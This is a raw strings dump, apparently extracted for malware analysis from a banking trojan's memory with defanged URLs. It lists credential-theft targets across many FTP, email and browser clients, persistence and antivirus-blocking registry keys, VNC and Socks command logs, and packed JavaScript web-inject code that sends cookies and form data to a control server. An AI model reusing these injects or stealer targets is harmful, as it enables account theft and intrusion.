Common Files\Doctor Web

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

#FV_%u

#FV_%s

pass.txt

cert.pfx

PFXImportCertStore

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

csrss.exe

smss.exe

wininit.exe

services.exe

svchost.exe

lsas.exe

lsm.exe

winlogon.exe

taskhost.exe

HttpEndRequestA

HttpEndRequestW

ADVAPI32.DLL

Init in Browser = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

#cert

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u-%u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

msvcrt.dll

%0.8X%0.8X%c

firefox.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

sqlite3_open

sqlite3_exec

sqlite3_close

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] Cmd need disconnect

ntdll.dll

gdiplus.dll

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfn

Dir #%u

<POP3_Password2

<SMTP_Password2

<IMAP_Password2

<HTTPMail_Password2

.oeaccount

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

Server.Port

Last Server Pass

Last Server Port

\sitemanager.xml

\recentservers.xml

\filezilla.xml

"password" : "

"password":"

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wisePTF.ini

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP File%u

Robo-FTP

SOFTWARE\%s\FTPServers

user.config

.duck

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u\SFTP

Keychain

Software\Nico Mak Computing\WinZip\FTP

Password

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Quick.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

Software\TurboFTP

\TurboFTP

addrbk.dat

quick.dat

Port

Login

PasswordType

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

FtpSite.xml

RushSite.xml

\FTPRush

bitkinex.ds

NDSites.ini

Software\LeechFTP

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

servers.xml

\FTPGetter

ESTdb2.dat

\Estsoft\ALFTP

QData.dat

SM.arch

FTP  .Link\shell\open\command

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

\FTPInfo

NovaFTP.db

\INSoftware\NovaFTP

\sites.xml

ftplast.osd

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

FTPCON

FTP CONTROL

FTPVoyager.ftp

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.Archive

SiteInfo.QFP

WinFTP

DeluxeFTP

sites.xml

Staff-FTP

sites.ini

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPort

BlazeFtp

site.dat

\BlazeFtp

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

FTPNow

FTP Now

FTPShell

ftpshell.fsi

ftpsite.ini

FTPList.db

My FTP

project.ini

Mailbox.ini

FTP Navigator

FTP Commander

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

FtpPort

Software\Cryer\WebSitePublisher

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

_FtpPassword

FtpServer

FtpUserName

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PassWord

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

FTP destination password

FTP destination server

FTP destination port

FTP destination user

FTP destination catalog

FTP profiles

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

accounts.ini

sites.dat

\LeapWare\LeapFTP

unleap.exe

leapftp

FtpIniName

Software\Ghisler\Windows Commander

wcx_PTF.ini

Server.Pass

Server.Host

Server.User

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3_prepare

sqlite3_step

sqlite3_column_bytes

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

signons.sqlite

\profiles.ini

PathToExe

\Mozilla\Firefox\

Firefox

Software\Mozilla

fireFTPsites.dat

\Mozilla\SeaMonkey\

SeaMonkey

\Mozilla\Profiles\

Mozilla

password 51:b:

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTPMail Password

SMTP Password

{X-X-X-XX-XXXXXX}

inetcomm server passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

USER32.DLL

GetKeyboardState

GetKeyState

?WINMM.DLL

?DSOUND.DLL

ZwConnectPort

NTDLL.DLL

[VNC] PROCESS=%s

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

SysShadow

Chrome_WidgetWin_1

Chrome_WidgetWin_0

d3d10_1.dll

d3d10_1core.dll

d3d10.dll

d3d10core.dll

d2d1.dll

OPENGL32.dll

d3d9.dll

d3d11.dll

Dxtrans.dll

WinExec

KERNEL32.dll

USER32.dll

GDI32.dll

RegCloseKey

RegNotifyChangeKeyValue

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

SHDeleteKeyA

SHLWAPI.dll

DeleteUrlCacheEntry

WININET.dll

WS2_32.dll

MSVCRT.dll

IPHLPAPI.DLL

AVIFIL32.dll

GetWindowsDirectoryW

CallNamedPipeA

ConnectNamedPipe

CreateNamedPipeW

DisconnectNamedPipe

CreateNamedPipeA

GetWindowsDirectoryA

EnumWindows

ActivateKeyboardLayout

SetViewportOrgEx

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyExA

RegOpenKeyExA

CryptImportKey

CryptDestroyKey

RegOpenKeyA

ole32.dll

OLEAUT32.dll

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

NETAPI32.dll

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

HttpAddRequestHeadersA

FindCloseUrlCache

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

COMDLG32.dll

WININET.DLL

{7BD47FDD-1028-4944-A268-024C76A61BA9}

{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{4E153850-602D-4819-B83D-3CCD0A1E7351}

{1DB12055-380D-432E-9763-74AF5EF609C7}

{1DB54A51-7DD5-412D-BFAE-04066B1F7E58}

{6BDA2D4D-43CE-4CEF-B412-5DC94F387B59}

{11166F2F-6DE1-4205-8360-3AB2448931C2}

{7B4F16B2-1959-4C21-97FE-6A7768C974CF}

{433D2A25-41C1-4D21-8ED6-4EEC2CFE2DF1}

{77101F80-23B8-43A9-AE7B-5CC95982109D}

\\.\pipe\{615F04F4-5F33-42AB-BE17-250A447B0979}

D{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{56E926DB-5D71-499E-8BBB-2E28568040CB}

U{4E153850-602D-4819-B83D-3CCD0A1E7351}

2FFC7DAE-2BDA-4ABF-A443-1DD264C72327

<!</<7<><[<

8 9(91999\9

echrome.dll

iexplore.exe

chrome.exe

\System32\KERNEL32.DLL

\System32\kernelbase.dll

\ThemeApiPort

%System%\wbem\wmiprvse.exe

spoolsv.exe_1436_rwx_00D50000_00053000:

%Documents and Settings%\All Users\Application Data\WogaRdahz\WogaRdahz.dat

.text

`.rdata

@.data

.reloc

HHt.HHt

More information: hXXp://VVV.ibsensoftware.com/

8HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestW

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExW

HttpSendRequestW

wininet.dll

rapport

ieframe.dll

NSPR4.DLL

nss3.dll

KERNEL32.DLL

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

.rdata

@http

SELECT url FROM moz_places

places.sqlite

ie/history.txt

ff/history.txt

ff/%u/places.sqlite

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '  

function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

CertificateAuthority

%s.pfx

cookies.sqlite

cookies.sqlite-journal

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-WebKit-CSP

hXXps://

HTTP/1.1 200 OK

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

chrome.dll

127.0.0.1

DrWeb

McAfee.com

Doctor Web

Common Files\Doctor Web

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

#FV_%u

#FV_%s

pass.txt

cert.pfx

PFXImportCertStore

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

csrss.exe

smss.exe

wininit.exe

services.exe

svchost.exe

lsas.exe

lsm.exe

winlogon.exe

taskhost.exe

HttpEndRequestA

HttpEndRequestW

ADVAPI32.DLL

Init in Browser = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

#cert

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u-%u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

msvcrt.dll

%0.8X%0.8X%c

firefox.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

sqlite3_open

sqlite3_exec

sqlite3_close

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] Cmd need disconnect

ntdll.dll

gdiplus.dll

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfn

Dir #%u

<POP3_Password2

<SMTP_Password2

<IMAP_Password2

<HTTPMail_Password2

.oeaccount

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

Server.Port

Last Server Pass

Last Server Port

\sitemanager.xml

\recentservers.xml

\filezilla.xml

"password" : "

"password":"

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wisePTF.ini

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP File%u

Robo-FTP

SOFTWARE\%s\FTPServers

user.config

.duck

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u\SFTP

Keychain

Software\Nico Mak Computing\WinZip\FTP

Password

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Quick.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

Software\TurboFTP

\TurboFTP

addrbk.dat

quick.dat

Port

Login

PasswordType

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

FtpSite.xml

RushSite.xml

\FTPRush

bitkinex.ds

NDSites.ini

Software\LeechFTP

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

servers.xml

\FTPGetter

ESTdb2.dat

\Estsoft\ALFTP

QData.dat

SM.arch

FTP  .Link\shell\open\command

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

\FTPInfo

NovaFTP.db

\INSoftware\NovaFTP

\sites.xml

ftplast.osd

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

FTPCON

FTP CONTROL

FTPVoyager.ftp

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.Archive

SiteInfo.QFP

WinFTP

DeluxeFTP

sites.xml

Staff-FTP

sites.ini

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPort

BlazeFtp

site.dat

\BlazeFtp

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

FTPNow

FTP Now

FTPShell

ftpshell.fsi

ftpsite.ini

FTPList.db

My FTP

project.ini

Mailbox.ini

FTP Navigator

FTP Commander

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

FtpPort

Software\Cryer\WebSitePublisher

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

_FtpPassword

FtpServer

FtpUserName

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PassWord

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

FTP destination password

FTP destination server

FTP destination port

FTP destination user

FTP destination catalog

FTP profiles

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

accounts.ini

sites.dat

\LeapWare\LeapFTP

unleap.exe

leapftp

FtpIniName

Software\Ghisler\Windows Commander

wcx_PTF.ini

Server.Pass

Server.Host

Server.User

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3_prepare

sqlite3_step

sqlite3_column_bytes

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

signons.sqlite

\profiles.ini

PathToExe

\Mozilla\Firefox\

Firefox

Software\Mozilla

fireFTPsites.dat

\Mozilla\SeaMonkey\

SeaMonkey

\Mozilla\Profiles\

Mozilla

password 51:b:

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTPMail Password

SMTP Password

{X-X-X-XX-XXXXXX}

inetcomm server passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

USER32.DLL

GetKeyboardState

GetKeyState

?WINMM.DLL

?DSOUND.DLL

ZwConnectPort

NTDLL.DLL

[VNC] PROCESS=%s

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

SysShadow

Chrome_WidgetWin_1

Chrome_WidgetWin_0

d3d10_1.dll

d3d10_1core.dll

d3d10.dll

d3d10core.dll

d2d1.dll

OPENGL32.dll

d3d9.dll

d3d11.dll

Dxtrans.dll

WinExec

KERNEL32.dll

USER32.dll

GDI32.dll

RegCloseKey

RegNotifyChangeKeyValue

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

SHDeleteKeyA

SHLWAPI.dll

DeleteUrlCacheEntry

WININET.dll

WS2_32.dll

MSVCRT.dll

IPHLPAPI.DLL

AVIFIL32.dll

GetWindowsDirectoryW

CallNamedPipeA

ConnectNamedPipe

CreateNamedPipeW

DisconnectNamedPipe

CreateNamedPipeA

GetWindowsDirectoryA

EnumWindows

ActivateKeyboardLayout

SetViewportOrgEx

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyExA

RegOpenKeyExA

CryptImportKey

CryptDestroyKey

RegOpenKeyA

ole32.dll

OLEAUT32.dll

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

NETAPI32.dll

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

HttpAddRequestHeadersA

FindCloseUrlCache

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

COMDLG32.dll

WININET.DLL

<!</<7<><[<

8 9(91999\9

.pdata

@.reloc

[%s - X64 EQ PID: %u TID: %u]

\SysWOW64\regsvr32.exe

[Pony] Fail create process: %u

[PONY] Fail inject to process: %u

echrome.dll

iexplore.exe

chrome.exe

\System32\KERNEL32.DLL

\System32\kernelbase.dll

\ThemeApiPort

spoolsv.exe_1436_rwx_00E10000_0007B000:

.text

`.rdata

